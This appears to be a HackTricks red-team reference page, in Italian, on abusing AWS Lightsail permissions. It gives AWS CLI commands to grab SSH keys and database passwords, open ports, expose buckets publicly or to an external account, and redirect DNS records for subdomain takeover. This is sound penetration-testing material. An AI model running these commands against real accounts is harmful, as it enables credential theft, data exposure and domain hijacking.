AWS - Lightsail Privesc

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Lightsail

Per ulteriori informazioni su Lightsail, controlla:

pageAWS - Lightsail Enum

È importante notare che Lightsail non utilizza ruoli IAM appartenenti all'utente ma a un account gestito da AWS, quindi non è possibile sfruttare questo servizio per l'escalation dei privilegi. Tuttavia, dati sensibili come codice, chiavi API e informazioni sul database potrebbero essere trovati in questo servizio.

lightsail:DownloadDefaultKeyPair

Questa autorizzazione ti permetterà di ottenere le chiavi SSH per accedere alle istanze:

aws lightsail download-default-key-pair

Impatto potenziale: Trovare informazioni sensibili all'interno delle istanze.

lightsail:GetInstanceAccessDetails

Questa autorizzazione ti permetterà di generare chiavi SSH per accedere alle istanze:

aws lightsail get-instance-access-details --instance-name <instance_name>

Impatto potenziale: Trovare informazioni sensibili all'interno delle istanze.

lightsail:CreateBucketAccessKey

Questa autorizzazione ti permetterà di ottenere una chiave per accedere al bucket:

aws lightsail create-bucket-access-key --bucket-name <name>

Impatto potenziale: Trovare informazioni sensibili all'interno del bucket.

lightsail:GetRelationalDatabaseMasterUserPassword

Questa autorizzazione ti permetterà di ottenere le credenziali per accedere al database:

aws lightsail get-relational-database-master-user-password --relational-database-name <name>

Impatto potenziale: Trovare informazioni sensibili all'interno del database.

lightsail:UpdateRelationalDatabase

Questa autorizzazione ti permetterà di cambiare la password per accedere al database:

aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

Se il database non è pubblico, è possibile renderlo pubblico con queste autorizzazioni utilizzando

aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Potenziale impatto: Trovare informazioni sensibili all'interno del database.

lightsail:OpenInstancePublicPorts

Questa autorizzazione consente di aprire porte verso Internet.

aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Impatto potenziale: Accesso alle porte sensibili.

lightsail:PutInstancePublicPorts

Questa autorizzazione consente di aprire porte verso Internet. Nota che la chiamata chiuderà qualsiasi porta aperta non specificata al suo interno.

aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Impatto potenziale: Accesso alle porte sensibili.

lightsail:SetResourceAccessForBucket

Questa autorizzazione consente di dare a un'istanza accesso a un bucket senza alcuna credenziale aggiuntiva

aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Impatto potenziale: Possibile nuovo accesso a bucket con informazioni sensibili.

lightsail:UpdateBucket

Con questa autorizzazione, un attaccante potrebbe concedere al proprio account AWS l'accesso in lettura ai bucket o addirittura rendere i bucket pubblici per tutti:

# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Impatto potenziale: Possibile nuovo accesso a bucket con informazioni sensibili.

lightsail:UpdateContainerService

Con queste autorizzazioni, un attaccante potrebbe concedere l'accesso a ECR privati dal servizio dei contenitori.

aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Potenziale Impatto: Ottenere informazioni sensibili da ECR privato

lightsail:CreateDomainEntry

Un attaccante con questa autorizzazione potrebbe creare un sottodominio e puntarlo al proprio indirizzo IP (takeover del sottodominio), o creare un record SPF che gli permetta di falsificare email dal dominio, o addirittura impostare il dominio principale al proprio indirizzo IP.

aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Potenziale Impatto: Assumere il controllo di un dominio

lightsail:UpdateDomainEntry

Un attaccante con questa autorizzazione potrebbe creare un sottodominio e puntarlo al proprio indirizzo IP (takeover del sottodominio), o creare un record SPF che gli permetta di falsificare email dal dominio, o addirittura impostare l'indirizzo IP dell'attaccante come indirizzo IP principale del dominio.

aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Potenziale Impatto: Assumere il controllo di un dominio

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated